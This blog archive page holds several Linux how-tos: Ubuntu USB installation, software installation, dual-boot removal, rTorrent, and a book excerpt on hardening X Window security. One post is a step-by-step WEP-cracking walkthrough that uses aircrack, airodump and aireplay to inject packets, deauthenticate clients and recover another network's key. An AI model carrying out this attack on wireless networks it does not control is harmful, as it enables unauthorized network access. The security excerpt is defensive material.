Pages

Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

how to connect broadband in opensuse 11.3

opensuse linux is best operating system for internet user but poblem is this how to connect internet in opensuse. I tested this on openSuSE 11.3; hope this will be not a major issue for previous versions. nstall opensuse then beagain your linux do following steps:-

How to install Ubuntu Linux from USB

This tutorial describes how to install Ubuntu by copying the contents of the installation CD to an USB memory stick (aka flash drive) and making the stick bootable. This is handy for machines like ultra portable notebooks that do not have a CD drive but can boot from USB media.

In short here’s what you do:

Prepare the USB flash drive

Boot the computer from your USB flash drive.

Install Ubuntu as you would from a normal boot CD

Prerequisites

A running Ubuntu 8.04 or any ubuntu version installation

A USB device (stick, pen-drive, USB hard disk) that has already been formatted with FAT32 and has enough free space to hold your Ubuntu installation image

A Ubuntu CD image downloaded from the Ubuntu servers or mirrors (*.iso file) or from here
Step 1

On the root directory of your USB device, create a folder “install”
Copy the installer kernel and the initramdisk into this folder (Download source below.You need the files “vmlinux” and “initrd.gz”).

Download source for the installer kernel and initramdisk

For AMD64 Download from here
For i386 Download from here

You need to download the files “vmlinux” and “initrd.gz”.

Step 2

Note: You need to have the installer that fits the architecture of your Ubuntu version you want to install. In other words, you need a amd64 installer if you want to install an amd64 Ubuntu .iso image and the i386 installer for an i386 iso.

Step 3

From the installation iso image you downloaded, copy the folder “isolinux” to the root directory of your USB device (right-click on the .iso file, choose “extract here”). Rename “isolinux” into “syslinux”. Go inside the directroy “syslinux”. There, rename the file “isolinux.cfg” into “syslinux.cfg”.

Step 4

Make the stick bootable: Use fdisk to set the boot flag,

Install syslinux using the following command

sudo aptitude install syslinux

Now use syslinux to install a boot sector on your USB device

sudo syslinux /dev/sdbX

where sdbX is the device name and number of your USB device, check with “sudo mount”. A file called “ldlinux.sys” will be created in the root direcotry of the USB device.

Step 5

Copy the Ubuntu CD image in the root directory of your USB device (Contents of USB you can see as follows).If you are using i386 you need to copy the complete .iso image in to the root directory of your USB device.

How to crack a WEP key using Ubuntu

After the article on cracking a WEP key using a MAC, many users have requested similar *testing* of their security
procedures using a popular LINUX distro and WinXP. This article delves into cracking a WEP key and a WEP key force using the most popular and user friendly LINUX distro out there : UBUNTU. All you need is a laptop with a wireless card and a copy of Ubuntu Linux. NOTE: Most of the Intel wireless adapters that come in built in most laptops these days should work.

Ubuntu (IPA pronunciation: /u’buntu/) is a Linux distribution offering an operating system predominantly targeted at desktop computers. Based on Debian GNU/Linux, Ubuntu concentrates on usability, freedom from restriction of use, regular releases, and ease of installation. Ubuntu is sponsored by Canonical Ltd., by South African Mark Shuttleworth; the name of the distribution comes from the African concept of ubuntu (roughly, “humanity towards others”).

First step, obviously, is to install Ubuntu. Just boot from the CD and follow the directions. If you have problems or need help installing UBUNTU, follow this guide straight from Ubuntu. Once you have the OS installed and configured/customized to your liking we can proceed with the first step. I’d suggest performing the following steps in order, otherwise you may have problems.

Next, install the extra repositories and all the programs that Ubuntu doesn’t preinstall. Make sure your machine is able to establish a connection to the Internet. If you can only connect via wireless and are having problems, there is a package called Wi-Fi radar that is helpful. To install the extra repositories, open a terminal window and type the following:

sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup
sudo gedit /etc/apt/sources.list

While in the editor, replace everything with:

## Add comments (##) in front of any line to remove it from being checked.
## Use the following sources.list at your own risk.
deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse

## MAJOR BUG FIX UPDATES produced after the final release
deb http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse

## UBUNTU SECURITY UPDATES
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse

## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse

## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://packages.freecontrib.org/ubuntu/plf dapper free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf dapper free non-free

Save the file and exit the text editor. Next type the command:

sudo apt-get update

Now we have to install the packages we’ll need later on:

sudo apt-get install build-essential
sudo apt-get install aircrack
sudo apt-get install kismet
sudo apt-get install airsnort
sudo apt-get install linux-source
sudo apt-get install linux-headers
sudo apt-get install sharutils

Next, you should update your entire system by going to the System Menu>Administration>Update Manager. Click ‘Check’ and begin installing updates. Then reboot your system. After this is done, it’s time to patch the Madwifi drivers.

This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at aircrack-ng.org are a good place to look and so is a Google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal.

Let’s apply the madwifi patch which you’ll need if you’re using the Atheros driver. This will temporarily disable your wireless card when it deletes the old drivers of the disk. First we’re going to navigate to the /usr/src directory, download the new drivers, delete the old drivers, then install the new ones and apply the patch. You can just copy and paste the commands below into the terminal or type them yourself. So. first, let’s get the patch and then get the corresponding version of the driver

sudo -i

cd /usr/src

get http://patches.aircrack-ng.org/madwifi-ng-r1679.patch

wget http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r1679-20060707.tar.gz

ifconfig ath0 down
rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal
find /lib/modules -name ‘ath*’ -exec rm -v {} \;
find /lib/modules -name ‘wlan*’ -exec rm -v {} \;

# tar zxvf madwifi-ng-r1679-20060707.tar.gz
# cd madwifi-ng-r1679-20060707/
# patch -Np1 -i ../madwifi-ng-r1679.patch
# make
# make install
# mod_probe ath_pci

NOTE: Some people have been having problems with the modprobe command. A comment below contains a fix in some cases:

However, during Madwifi Installation I got this warning:

Warning: could not find /usr/src/madwifi/ath_hal/.hal.o.cmd for /usr/src/madwifi/ath_hal/hal.o

This warning can be IGNORED.

When I ran “modprobe ath_pci” it gave me an error message and “dmesg” gave me some gibberish about “disagrees about version of symbol”.

I browsed the web and found the solution: You have to delete the linux-restricted modules. Just search for “linux-restricted” in Synaptic. I removed everything but “linux-restricted-modules-common”. Then I compiled the madwifi again and ran “modeprobe ath_pci” again. NO ERROR this time! Authenticating and injecting works!

Apparently some network cards with atheros chipset cause problems if you don’t remove the linux-restricdet-modules.

If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, then change the source line.

sudo gedit /etc/kismet/kismet.conf

Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card.

Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet.

sudo airmon start ath0
sudo kismet

Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C.

Next, run airodump.

sudo airodump ath0 filename channel# 1

The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs.

Copy the bssid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets.

sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0

This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’.

Next we want to start injecting packets.

sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0

At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command:

sudo aireplay -0 ath0 -a BSSID ath0

Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack.

sudo aircrack filename.ivs

After a minute, aircrack should return the WEP key

Installing Software in Ubuntu

Most Windows users who migrate to Ubuntu end up confused about software installation. They go to a website, download a .tar.gz file, double-click it, and don't see a Next-Next-Next-Finish wizard. This tutorial is intended to introduce you to the preferred methods of software installation in Ubuntu.

Rather than leaving it up to the user to track down installer files and keep applications updated, Ubuntu (like many other Linux distributions) has a software package management system that provides a searchable database of easily installable applications (like an online shopping cart but the software is cost-free), which it will download and install for you with a few clicks.

For those of you with smartphones, it's a very similar process to installing applications using the iTunes App Store or Android Market.

Installing 101: Ubuntu Software Center
The best place to start with this package management process is to use a simple interface for it called Ubuntu Software Center. (The Software Center is available as of Ubuntu 9.10; in Ubuntu 9.04 and earlier, there was a similar interface called Add/Remove.)


Go to Applications and select Ubuntu Software Center.


If you already know what software you're looking for, you can begin typing the name of it in the top-right corner to begin the filtering process. If you don't know, you can also browse by category.


Either way, when you find the application you're looking for, click on the little arrow next to it.


You can read a description of the application or view its website to get more information about it. Once you're ready to install it, click Install


Since this installation will modify system files and make the application available to all users of the system, you will be prompted for your password if you're an administrator of the system.


Wait for the application to install, and then it should be ready to use.

Advanced interface: Synaptic Package Manager
Another interface for the package manager is Synaptic. Synaptic works very similarly to Add/Remove, but it has more advanced options. It allows you more categories and custom filters, and shows you supporting libraries (not just user applications).


To access Synaptic, go to System > Administration > Synaptic Package Manager. Then enter your password and click OK


You can click the Search button or press Control-F to search for software. Once you've found the software you want to install, right-click it and mark it for installation.


Once you've marked all the software packages you want to install (or remove, too), click Apply, confirm by clicking Apply when prompted, and then wait for the package files to download and install. Once they've installed, click Close.

Manual download: .deb
Most of the time, if you need software, you can use Add/Remove or Synaptic to install it from the online repositories. Sometimes, software is not available in the repositories, and you have to go to a website to download it. If you are able to download a file with a .deb extension, this is the software package format Ubuntu prefers.


For example, Skype is not in the default Ubuntu repositories, so you can go to the Skype website, and download the Ubuntu package.

Note: Skype doesn't always update their Ubuntu packages. So, for example, in this screenshot Skype lists the installer file as being for Ubuntu 7.04, but I'm using Ubuntu 8.04. Opera, on the other hand, even if it hasn't changed its browser version numbers will have all the Ubuntu release versions to choose from. Try to select whichever version seems most appropriate.


Once the .deb file is on your desktop, double-click it to install it. You'll be prompted for your password, and then you can just wait for it to install.


You should then be able to use Skype or whatever application you installed.

Last resorts: .rpm and .tar.gz
The preferred way to install software in Ubuntu is to use the package manager, which you can access through Add/Remove or Synaptic. As we've seen with Skype, sometimes you can also find a .deb for software not in the repositories. But what if you can't find a .deb?

.rpm
If you can't find a .deb, you can try a .rpm. These files are packaged for other Linux distributions (usually Fedora or Mandriva), but there is an application called alien (which you can install using Synaptic) that allows you (most of the time) to convert .rpm files to .deb.

.tar.gz
As a last resort, you can download a .tar.gz file. The .tar.gz file extension indicates the file is a compressed set of files and folders (the compressed files you see in Windows usually have a .zip extension). If you see the .tar.gz, it could be compressed files that have a precompiled binary file, or it could be compressed files that have the source code allowing you to compile the application from source.

Quick and Easy Linux Hacking and How to Avoid It

This excerpt from Real World Linux Security talks about specific techniques of crackers that do not depend on configuration errors or inherently insecure software. The techniques discussed include X Window vulnerabilities, physical security, physical actions, terminal device attacks and disk sniffing.

Unlike Chapter 2, "Quick Fixes for Common Problems," which is concerned with configuration errors and old insecure versions of software that can be fixed quickly, this chapter talks about specific techniques of crackers that do not depend on configuration errors or inherently insecure software. The techniques discussed here are frequently starting points for a cracker breaking into your system, and your understanding of them and protection against them is critical to system security.

The topics covered in this chapter include:

  • "X Marks the Hole"

  • Law of the Jungle—Physical Security"

  • "Physical Actions"

  • "Selected Short Subjects"

  • "Terminal Device Attacks"

  • "Disk Sniffing"

3.1 X Marks the Hole

DANGER LEVEL

X security is one of those things that many people ignore, and hope does not come back to infect them. On the systems that use it, which is most systems, the X subsystem has access to every keystroke of every user and screen output and X runs set-UID to root. A rogue X process can connect to a user's X display and capture keystrokes while that user is entering her password. Without adequate X security this is very hard to guard against.

For some of the highest security situations, it might be appropriate to not use X and to remove it from the system. However, most people cannot live without X, so let us examine how to make X more secure. As most SysAdmins know, the lowest level of X security is via host name validation. You enable a particular remote host to connect to your X display by requesting that xhost add it to the list of approved hosts. To add pentacorp.com the following command would be issued by any user that presently has access to the X server:

xhost +pentacorp.com

Security involving host names and IP addresses, such as this level of X security, can be broken easily by a variety of well-known methods; these are discussed in "The rsh, rcp, rexec, and rlogin Services" on page 198 as these insecure services share this method of authentication.

To list the present access, issue the xhost command without arguments:

xhost

To turn off specified access change the "+" to a "-".

Many users get lazy, so instead of issuing an xhost command for each of several systems, they enable all systems in the world access via

xhost +

This lets any cracker on the Internet scan for systems having port 6000 accessible and take over that user's access. If this happens to root, the cracker "owns" that system. This is a really good reason for you to have your firewall block all X access via the following. The example assumes that you have the Class A local network 10.0.0.0, that you want to allow unrestricted access for. If you want more security, you can limit access to the local machine.

ipchains -A input -p tcp -j ACCEPT -s 10.0.0.0/8    -d 0.0.0.0/0 6000:60631
ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0 6000:6063

An excellent and generally accepted solution is to run X sessions over SSH. It is important to read "Wrapping SSH Around X" on page 417 in Part II carefully, as there are some gotchas2 if this is not done correctly that will result in unprotected X sessions.

The most important gotcha is if a user accidentally sets her $DISPLAY environment variable, usually in a shell startup file. This would bypass SSH's encryption and establish an unsecured X session over a 6000 series port. SSH will set it to the local machine but with a session greater than 0, and sshd will be serving that session and route it over its encrypted channel. The following is typical. Note that the host name is that of the server system, rather than that of the client system that the user is seated at.

$ echo $DISPLAY
pentacorp.com:10.0

Note that a $DISPLAY value of, say,

pentacorp.com:10.0

on a system means nothing more than "connect to TCP port 10+6000, or 6010, on pentacorp.com." This is illustrated in Figure 3.1, where Joe, the SysAdmin, is on his home system. Its host name is corbomite.homesys.com. He has used SSH to connect into the Pentacorp system pentacorp.com.

Figure 1Figure 3.1 SSH-wrapped X session.

As you can see in Figure 3.1, all data traveling over the network is encrypted. The unencrypted data within a properly configured system may be sniffed only by root. Because SSH-wrapped X sessions will operate between the two systems over the SSH channel operating on TCP port 22, there is no need to allow ports starting at 6000 access from other systems. Thus, it is recommended that IP Chains block X's ports that start with TCP port 6000.

IP Chains has the added advantage of preventing those gotchas from happening. If a user makes a mistake that would allow unprotected X sessions, the IP Chains blocking of the 6000 series ports will prevent the unprotected X session from happening.

The ports program (discussed in "Turn Off Unneeded Services" on page 86) or netstat may be used to see what ports are active. A good test is to start up a simple X application such as xclock and see whether port 6000 develops an active connection. If so, there is an error in configuration. Instead, you should see port 6010 in use by sshd (for the first session).

For those that do not want to use SSH-wrapped X (and that is going against advice) the following man pages cover X security. They are not particularly clear and that increases the chance of making a mistake resulting in less security.

Xsecurity
xauth
xdm
xhost

One possibility might be to allow finer-grained control over which users on a remote system may access the X session of a particular local user.

X does offer the Secure Keyboard option while typing confidential data. This option prevents keystrokes from being intercepted by malevolent X programs that ordinarily can intercept keystrokes from any X server that grants them access.

Another solution for most "desktop" Linux systems is simply to disable X from listing on TCP port 6000 at all. To do this, supply the argument -nolisten tcp to X. An easy way to do this is to add the following line to $HOME/.xserverrc:

X -nolisten tcp :0

You will want to use ports or netstat to verify that this causes TCP port 6000 not to be opened any more. This will prevent any other systems from displaying X-generated images on your system or reading your keyboard but will not prevent local processes from using X via the X unix socket.

But wait! There's more. The X server has a nasty DoS that can be generated remotely.3 A malformed packet can cause the X server to run a busy loop for two billion iterations due to this packet being able to specify a count of –1 (when a legitimate packet specifies a small positive number), that then is decremented repeatedly until 0 is reached.

The following buggy code in the AuthCheckSitePolicy() function of Xserver/os/secauth.c is the culprit.

// dataP is user supplied data from the network
char *policy = *dataP;
int nPolicies;
...
// Oh dear, we can set nPolicies to -1
nPolicies = *policy++;
while (nPolicies) {
// Do some stuff in a loop
...
nPolicies--;
}

To fix this code, change

while (nPolicies) {

to

while (nPolicies > 0) {

This illustrates an important programming technique that should be common but is not. Specifically, this technique applies when testing for boundary conditions, such as when to end a loop or follow an if statement. Instead of testing for an exact match, such as the buggy code's test for nPolicies exactly matching 0, test for meeting or exceeding the boundary condition. Thus, if a bug causes the value to skip past the boundary, the condition will be detected. Over 25 years of C programming, following this technique has prevented a number of small bugs in the author's code from being big bugs.

Although the code could be fixed as discussed above, recompiling X is painful. An alternative is to use any of the techniques discussed earlier to prevent the wrong kind of machines from getting close to X. This problem is known to affect XFree86 versions 3.3.5, 3.3.6, and 4.0. It causes X to lock up for roughly a few minutes, depending on processor speed. On 4.0 you can wiggle the mouse but X still is frozen until the loop completes or X is killed.

Safely Uninstall Linux if Dual Booted With Windows XP

So if you are in a mod to uninstall it...then don't hesitate because i got an interesting tip from one of the blogs online !

When asked to most of the users “How will you uninstall Linux when it is Dual Boot installed with Windows XP?” The common answers we got was “Start windows XP and format Linux Partition“. Well they were half correct, you do have to format the linux partition but what about the grub loader? The grub loader will still be showing you the option to boot Linux during the start up and by mistake if anybody goes for booting linux, the system will not find any linux on your machine and it will restart. so what can you do in this situation?

There is a simple procedure to uninstall or delete linux completely and safely by following a step by step procedure illustrated below and it is tested by me .
Requirements:
You need a windows 98 startup disk or windows XP installation CD.

How to do it:
1. Reboot your laptop with windows 98 start up disc or Windows XP CD and type the command “fixmbr”.
2. Above command will repair ur bootloader and rewrite ntldr which will replace grub loader of Linux and now you can see only Windows XP in the boot menu.
3. Now Boot up in Windows xp.
4. Go to Start > Control Panel > Administrative Tools > Computer Management
5. Go to Disk Management under “Storage”
6. Select your Hard Disk and then the linux partition.
7. Delete the linux partition this will delete linux and grub.
8. Thats it done now boot your laptop or desktop normally it will be booted by default in windows xp.

How to download torrent files from command line(Linux Terminal)

This can be achieved by using the ultra-lightweight text-based BitTorrent client "rTorrent".
If you are using Ubuntu, you can install rTorrent via Synaptic Package Manager, or with this command:

$ sudo apt-get install rtorrent


You can also get rTorrent HERE.

Now, we will start using rTorrent. But first, download a '.torrent' file. You can download it through this command:

$ rtorrent filename.torrent
Sponsored by PTCSA DIGITAL NEWS, Sarkari Naukri-Current Vacancy.